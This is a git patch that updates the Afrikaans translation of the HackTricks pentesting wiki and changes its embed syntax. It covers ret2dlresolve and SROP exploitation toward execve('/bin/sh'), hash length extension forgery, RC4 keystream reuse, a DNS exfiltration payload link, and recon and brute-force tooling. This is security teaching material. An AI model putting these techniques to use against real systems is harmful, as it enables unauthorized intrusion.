From adb4e219cd868bc93236bba47986426af17ddcdd Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 18:09:16 +0000 Subject: [PATCH] Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente --- hacktricks-preprocessor.py | 7 + src/README.md | 47 ++--- .../ret2dlresolve.md | 6 +- .../README.md | 14 +- src/burp-suite.md | 6 +- src/crypto-and-stego/esoteric-languages.md | 4 +- .../hash-length-extension-attack.md | 14 +- .../rc4-encrypt-and-decrypt.md | 10 +- .../hash-length-extension-attack.md | 8 +- src/cryptography/rc4-encrypt-and-decrypt.md | 8 +- .../external-recon-methodology/README.md | 103 +++++------ .../privilege-escalation/README.md | 156 ++++++++--------- .../docker-security/README.md | 62 +++---- .../interesting-groups-linux-pe/README.md | 30 ++-- .../interesting-groups-linux-pe.md | 18 +- src/misc/references.md | 92 +++++++--- .../5439-pentesting-redshift.md | 4 +- src/network-services-pentesting/9100-pjl.md | 4 +- .../9200-pentesting-elasticsearch.md | 21 +-- .../pentesting-compaq-hp-insight-manager.md | 4 +- .../pentesting-kerberos-88/README.md | 6 +- .../pentesting-ssh.md | 46 ++--- .../pentesting-web/buckets/README.md | 6 +- .../buckets/firebase-database.md | 4 +- ...solation-rce-via-electron-internal-code.md | 8 +- .../pentesting-web/flask.md | 14 +- .../pentesting-web/graphql.md | 68 ++++---- .../pentesting-web/uncovering-cloudflare.md | 30 ++-- .../pentesting-web/werkzeug.md | 26 +-- .../pentesting-web/wordpress.md | 38 +++-- src/other-web-tricks.md | 9 +- src/pentesting-web/captcha-bypass.md | 10 +- .../client-side-template-injection-csti.md | 21 ++- src/pentesting-web/command-injection.md | 15 +- src/pentesting-web/crlf-0d-0a.md | 24 +-- .../README.md | 30 ++-- .../README.md | 44 ++--- src/pentesting-web/file-inclusion/README.md | 92 +++++----- .../file-inclusion/phar-deserialization.md | 14 +- src/pentesting-web/file-upload/README.md | 84 ++++----- .../hacking-jwt-json-web-tokens.md | 39 +++-- src/pentesting-web/ldap-injection.md | 14 +- .../oauth-to-account-takeover.md | 64 +++---- ...inclusion-edge-side-inclusion-injection.md | 14 +- src/pentesting-web/sql-injection/README.md | 63 +++---- .../rce-with-postgresql-extensions.md | 24 +-- .../README.md | 24 +-- .../url-format-bypass.md | 8 +- .../README.md | 35 ++-- .../unicode-normalization.md | 26 +-- ...ble-stylesheet-language-transformations.md | 10 +- .../xss-cross-site-scripting/README.md | 110 ++++++------ .../xxe-xee-xml-external-entity.md | 78 ++++----- .../stack-overflow/ret2dlresolve.md | 4 +- .../srop-sigreturn-oriented-programming.md | 12 +- .../reversing-tools-basic-methods/README.md | 72 ++++---- src/robots.txt | 4 + src/stego/esoteric-languages.md | 4 +- src/todo/burp-suite.md | 8 +- src/todo/other-web-tricks.md | 10 +- src/todo/references.md | 92 +++++++--- .../active-directory-methodology/README.md | 148 ++++++++-------- .../printers-spooler-service-abuse.md | 22 +-- .../authentication-credentials-uac-and-efs.md | 35 ++-- .../README.md | 42 ++--- src/windows-hardening/av-bypass.md | 65 +++---- .../README.md | 160 +++++++++--------- .../juicypotato.md | 29 ++-- theme/css/chrome.css | 19 ++- theme/css/variables.css | 6 +- theme/index.hbs | 7 +- theme/pagetoc.css | 2 +- theme/pagetoc.js | 96 ++++++----- 73 files changed, 1406 insertions(+), 1147 deletions(-) create mode 100644 src/robots.txt diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index fedfdef99..b3186537d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -69,6 +69,12 @@ def ref(matchobj): return result +def add_read_time(content): + regex = r'(<\/style>\n# .*(?=\n))' + new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content) + return new_content + + def iterate_chapters(sections): if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section return @@ -99,6 +105,7 @@ if __name__ == '__main__': current_chapter = chapter regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}' new_content = re.sub(regex, ref, chapter['content']) + new_content = add_read_time(new_content) chapter['content'] = new_content content = json.dumps(book) diff --git a/src/README.md b/src/README.md index 54792a912..b509cda13 100644 --- a/src/README.md +++ b/src/README.md @@ -1,13 +1,10 @@ # HackTricks -Reading time: {{ #reading_time }} -
_Hacktricks logo's & bewegingsontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ -> [!TIP] -> **Welkom by die wiki waar jy elke hacking truuk/tegniek/iets wat ek geleer het van CTFs, werklike toepassings, navorsing en nuus sal vind.** +> [!TIP] > **Welkom by die wiki waar jy elke hacking truuk/tegniek/iets wat ek geleer het van CTFs, werklike toepassings, navorsing en nuus sal vind.** Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** op een of meer **masjiene:** @@ -21,7 +18,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy waarvan die slagspreuk is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied. +[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied. Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan. @@ -35,7 +32,9 @@ Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com [**RootedCON**](https://www.rootedcon.com) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline. -{% embed url="https://www.rootedcon.com/" %} +{{#ref}} +https://www.rootedcon.com/ +{{#endref}} --- @@ -47,7 +46,9 @@ Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com **Bug bounty wenk**: **meld aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin verdien bounties tot **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} +{{#ref}} +https://go.intigriti.com/hacktricks +{{#endref}} --- @@ -60,7 +61,9 @@ Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=b Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} --- @@ -70,7 +73,7 @@ Kry Toegang Vandag: Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener aan om met ervare hackers en bug bounty jagters te kommunikeer! -- **Hacking Inligting:** Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek +- **Hacking Insigte:** Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek - **Regstydse Hack Nuus:** Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte - **Laaste Aankondigings:** Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings @@ -82,11 +85,13 @@ Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bedien
-**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk** +**Kry 'n hacker se perspektief op jou web toepassings, netwerk, en wolk** -**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel. +**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel. -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} +{{#ref}} +https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons +{{#endref}} --- @@ -97,11 +102,11 @@ Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bedien **SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestruktureerde data vir jou. 'n Intekening op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\ -In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in. +In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekenjinresultate teenwoordig is, in. Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\ Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\ -Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign_up)**.** +Jy kan **'n gratis rekening** [**hier**](https://serpapi.com/users/sign_up)**.** --- @@ -109,9 +114,11 @@ Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign_up)
-Leer die tegnologieë en vaardighede wat nodig is om kwesbaarheid navorsing, penetrasietoetsing, en omgekeerde ingenieurswese uit te voer om mobiele toepassings en toestelle te beskerm. **Meester iOS en Android sekuriteit** deur ons on-demand kursusse en **kry geakkrediteer**: +Leer die tegnologieë en vaardighede wat nodig is om kwesbaarheid navorsing, penetrasietoetsing, en omgekeerde ingenieurswese uit te voer om mobiele toepassings en toestelle te beskerm. **Meester iOS en Android sekuriteit** deur ons on-demand kursusse en **kry gesertifiseer**: -{% embed url="https://academy.8ksec.io/" %} +{{#ref}} +https://academy.8ksec.io/ +{{#endref}} --- @@ -123,15 +130,17 @@ Leer die tegnologieë en vaardighede wat nodig is om kwesbaarheid navorsing, pen WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteitskenners Uitsourcing en nog baie meer. -Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)! +Nog 'n interessante ding oor WebSec is dat, in teenstelling met die bedryf se gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)! Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.** -{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} +{{#ref}} +https://www.youtube.com/watch?v=Zq2JycGDCPM +{{#endref}} ## Lisensie & Vrywaring -Kyk na hulle in: +Kyk hulle in: {{#ref}} welcome/hacktricks-values-and-faq.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index c2ddb8d38..cdf55c14c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -6,7 +6,7 @@ Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries sonder Volle Relro sal simbole (soos adresse na eksterne biblioteke) die eerste keer wat hulle gebruik word, oplos. Hierdie oplosproses gebeur deur die funksie **`_dl_runtime_resolve`** aan te roep. -Die **`_dl_runtime_resolve`** funksie neem vanaf die stapel verwysings na 'n paar strukture wat dit nodig het om die gespesifiseerde simbool te **resolveer**. +Die **`_dl_runtime_resolve`** funksie neem vanaf die stapel verwysings na 'n paar strukture wat dit benodig om die gespesifiseerde simbool te **resolveer**. Daarom is dit moontlik om **al hierdie strukture te vervals** om die dinamies gekoppelde simbool (soos die **`system`** funksie) te laat oplos en dit met 'n geconfigureerde parameter aan te roep (bv. **`system('/bin/sh')`**). @@ -17,7 +17,9 @@ Gewoonlik word al hierdie strukture vervals deur 'n **begin ROP-ketting wat `rea Kyk na hierdie video vir 'n goeie verduideliking oor hierdie tegniek in die tweede helfte van die video: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} Of kyk na hierdie bladsye vir 'n stap-vir-stap verduideliking: diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 07d33af17..68326d4e5 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -6,12 +6,12 @@ **`Sigreturn`** is 'n spesiale **syscall** wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhandler sy uitvoering voltooi het. Seine is onderbrekings wat aan 'n program deur die bedryfstelsel gestuur word, dikwels om aan te dui dat 'n uitsonderlike situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, pauzeer dit tydelik sy huidige werk om die sein met 'n **seinhandler** te hanteer, 'n spesiale funksie wat ontwerp is om met seine te werk. -Nadat die seinhandler klaar is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die spel kom. Dit help die program om **terug te keer van die seinhandler** en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim. +Nadat die seinhandler klaar is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die prentjie kom. Dit help die program om **terug te keer van die seinhandler** en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim. -Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **alle CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer is nie, **pop `sigreturn` hierdie waardes van die stapel af**, wat effektief die CPU se registre na hul toestand voor die sein hanteer is, terugstel. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys. +Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **alle CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer is nie, **pop `sigreturn` hierdie waardes van die stapel af**, wat effektief die CPU se registers na hul toestand voor die sein hanteer is, terugstel. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys. > [!CAUTION] -> Om die syscall **`sigreturn`** vanaf 'n ROP-ketting aan te roep en **die registerwaardes** wat ons wil hê dat dit in die **stapel** laai, by te voeg, is dit moontlik om **te beheer** al die registerwaardes en dus **te roep** byvoorbeeld die syscall `execve` met `/bin/sh`. +> Om die syscall **`sigreturn`** vanaf 'n ROP-ketting aan te roep en **die registerwaardes** wat ons wil hê dat dit in die **stapel** laai, by te voeg, is dit moontlik om **alle** registerwaardes te **beheer** en dus **aan te roep** byvoorbeeld die syscall `execve` met `/bin/sh`. Let op hoe dit 'n **type Ret2syscall** sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls aan te roep: @@ -57,7 +57,9 @@ As jy nuuskierig is, dit is die **sigcontext-struktuur** wat in die stapel gesto ``` Vir 'n beter verduideliking kyk ook: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} ## Voorbeeld @@ -132,8 +134,8 @@ target.interactive() - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - 64 bits, geen relro, geen canary, nx, geen pie. Eenvoudige buffer overflow wat die `gets` funksie misbruik met 'n gebrek aan gadgets wat 'n [**ret2syscall**](../rop-syscall-execv/) uitvoer. Die ROP-ketting skryf `/bin/sh` in die `.bss` deur weer `gets` aan te roep, dit misbruik die **`alarm`** funksie om eax op `0xf` te stel om 'n **SROP** aan te roep en 'n shell uit te voer. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64 bits assembly program, geen relro, geen canary, nx, geen pie. Die vloei laat toe om in die stapel te skryf, verskeie registers te beheer, en 'n syscall aan te roep en dan `exit` aan te roep. Die geselekteerde syscall is 'n `sigreturn` wat registre stel en `eip` beweeg om 'n vorige syscall instruksie aan te roep en `memprotect` uit te voer om die binêre ruimte op `rwx` te stel en die ESP in die binêre ruimte te stel. Volg die vloei, die program sal weer lees in ESP aanroep, maar in hierdie geval sal ESP na die volgende instruksie wys, sodat 'n shellcode as die volgende instruksie geskryf en uitgevoer sal word. +- 64 bits assembly program, geen relro, geen canary, nx, geen pie. Die vloei laat toe om in die stapel te skryf, verskeie registers te beheer, en 'n syscall aan te roep en dan `exit` aan te roep. Die geselekteerde syscall is 'n `sigreturn` wat registre sal stel en `eip` sal beweeg om 'n vorige syscall instruksie aan te roep en `memprotect` te loop om die binêre ruimte op `rwx` te stel en die ESP in die binêre ruimte te stel. Volg die vloei, die program sal weer lees in ESP aanroep, maar in hierdie geval sal ESP na die volgende instruksie wys, sodat 'n shellcode as die volgende instruksie geskryf en uitgevoer sal word. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) -- SROP word gebruik om uitvoeringsregte (memprotect) aan die plek te gee waar 'n shellcode geplaas is. +- SROP word gebruik om uitvoeringsregte (memprotect) te gee aan die plek waar 'n shellcode geplaas is. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/burp-suite.md b/src/burp-suite.md index ac6a101aa..5b4e2a728 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -8,9 +8,11 @@ - **Nommer:** Genereer nommers van X tot Y met Z stap of ewekansig. - **Brute Forcer:** Karakterstel, minimum & maksimum lengte. -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload om opdragte uit te voer en die uitvoer te verkry via DNS versoeke aan burpcollab. +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload om opdragte uit te voer en die uitvoer via DNS versoeke na burpcollab te verkry. -{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} +{{#ref}} +https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e +{{#endref}} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 517199ef7..d56f9d3ff 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -48,7 +48,9 @@ Take it to the top Whisper my world ``` -{% embed url="https://codewithrockstar.com/" %} +{{#ref}} +https://codewithrockstar.com/ +{{#endref}} ## PETOOH ``` diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index ac6d00415..9986e727e 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -4,22 +4,22 @@ ## Samevatting van die aanval -Stel jou 'n bediener voor wat **onderteken** sekere **data** deur 'n **geheime** by 'n bekende duidelike teksdata te **voeg** en dan daardie data te hash. As jy weet: +Stel jou 'n bediener voor wat **onderteken** 'n paar **data** deur 'n **geheime** by 'n bekende duidelike teksdata te **voeg** en dan daardie data te hash. As jy weet: -- **Die lengte van die geheim** (dit kan ook bruteforced word uit 'n gegewe lengterange) +- **Die lengte van die geheim** (dit kan ook gebruteforced word uit 'n gegewe lengterange) - **Die duidelike teksdata** - **Die algoritme (en dit is kwesbaar vir hierdie aanval)** - **Die padding is bekend** - Gewoonlik word 'n standaard een gebruik, so as die ander 3 vereistes nagekom word, is dit ook -- Die padding varieer afhangende van die lengte van die geheim+data, daarom is die lengte van die geheim nodig +- Die padding wissel afhangende van die lengte van die geheim+data, daarom is die lengte van die geheim nodig Dan is dit moontlik vir 'n **aanvaller** om **data** te **voeg** en 'n geldige **handtekening** te **genereer** vir die **vorige data + bygevoegde data**. ### Hoe? -Basies genereer die kwesbare algoritmes die hashes deur eerstens 'n **blok data** te **hash**, en dan, **uit** die **voorheen** geskepte **hash** (toestand), voeg hulle die volgende blok data **by** en **hash dit**. +Basies genereer die kwesbare algoritmes die hashes deur eerstens **'n blok data te hash**, en dan, **uit** die **voorheen** geskepte **hash** (toestand), **voeg hulle die volgende blok data** by en **hash dit**. -Stel jou voor dat die geheim "secret" is en die data "data" is, die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ +Stel jou voor dat die geheim "secret" is en die data "data", die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ As 'n aanvaller die string "append" wil byvoeg, kan hy: - 'n MD5 van 64 "A"s genereer @@ -29,7 +29,9 @@ As 'n aanvaller die string "append" wil byvoeg, kan hy: ### **Gereedskap** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ### Verwysings diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index 6cf88522d..0ac978e6e 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,11 +1,15 @@ {{#include ../banners/hacktricks-training.md}} -As jy op een of ander manier 'n plaintekst met RC4 kan enkripteer, kan jy enige inhoud wat deur daardie RC4 geënkripteer is (met dieselfde wagwoord) net met die enkripsiefunksie dekripteer. +As jy op een of ander manier 'n plaintekst met RC4 kan enkripteer, kan jy enige inhoud wat deur daardie RC4 geënkripteer is (met dieselfde wagwoord) net met die enkripsiefunksie ontsleutel. As jy 'n bekende plaintekst kan enkripteer, kan jy ook die wagwoord onttrek. Meer verwysings kan gevind word in die HTB Kryptos masjien: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index a8d7d0c43..ab85de0c1 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -17,17 +17,19 @@ Dan is dit moontlik vir 'n **aanvaller** om **data** toe te voeg en 'n geldige * Basies genereer die kwesbare algoritmes die hashes deur eerstens **'n blok data te hash**, en dan, **uit** die **voorheen** geskepte **hash** (toestand), voeg hulle **die volgende blok data** by en **hash dit**. -Stel jou voor dat die geheim "secret" is en die data "data", die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ +Stel jou voor dat die geheim "secret" is en die data "data" is, die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ As 'n aanvaller die string "append" wil byvoeg, kan hy: - 'n MD5 van 64 "A"s genereer -- Die toestand van die voorheen geinitialiseerde hash verander na 6036708eba0d11f6ef52ad44e8b74d5b +- Die toestand van die voorheen geïnitialiseerde hash verander na 6036708eba0d11f6ef52ad44e8b74d5b - Die string "append" byvoeg - Die hash voltooi en die resultaat sal 'n **geldige een wees vir "secret" + "data" + "padding" + "append"** ## **Gereedskap** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ## Verwysings diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index 9a33da62d..a558f3ca9 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -4,8 +4,12 @@ As jy op een of ander manier 'n plaintekst met RC4 kan enkripteer, kan jy enige As jy 'n bekende plaintekst kan enkripteer, kan jy ook die wagwoord onttrek. Meer verwysings kan gevind word in die HTB Kryptos masjien: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 3a66c8c09..605b02fbb 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -2,16 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} - ## Bate ontdekkings -> Jy is gesê dat alles wat aan 'n sekere maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit. +> Jy is gesê dat alles wat aan 'n maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit. Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy besit word** te verkry en dan al die **bates** van hierdie maatskappye. Om dit te doen, gaan ons: 1. Die verkrygings van die hoofmaatskappy vind, dit sal ons die maatskappye binne die omvang gee. 2. Die ASN (indien enige) van elke maatskappy vind, dit sal ons die IP-reekse wat deur elke maatskappy besit word, gee. -3. Omgekeerde whois-soektogte gebruik om ander inskrywings (organisasie name, domeine...) wat verband hou met die eerste een te soek (dit kan herhalend gedoen word). +3. Omgekeerde whois-soektogte gebruik om ander inskrywings (organisasiename, domeine...) wat met die eerste een verband hou, te soek (dit kan herhalend gedoen word). 4. Ander tegnieke soos shodan `org` en `ssl` filters gebruik om ander bates te soek (die `ssl` truuk kan herhalend gedoen word). ### **Verkrygings** @@ -35,7 +34,7 @@ Jy kan **soek** op maatskappy **naam**, per **IP** of per **domein** in [**https amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming verskaf outomaties 'n samevoeging en opsomming van ASN's aan die einde van die skandering. +Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming aggregeer en som automatisch ASN's aan die einde van die skandering op. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -58,7 +57,7 @@ U kan die IP en ASN van 'n domein vind deur [http://ipv4info.com/](http://ipv4in ### **Soek na kwesbaarhede** Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer loods.\ -Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of dienste soos** shodan **gebruik om** oop poorte **te vind, en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\ +Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **loods of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\ **Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domeine @@ -71,7 +70,7 @@ Eerstens moet jy soek na die **hoofdomein**(e) van elke maatskappy. Byvoorbeeld, ### **Reverse DNS** -Aangesien jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns lookups** op daardie **IPs uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n dns-server van die slagoffer of 'n 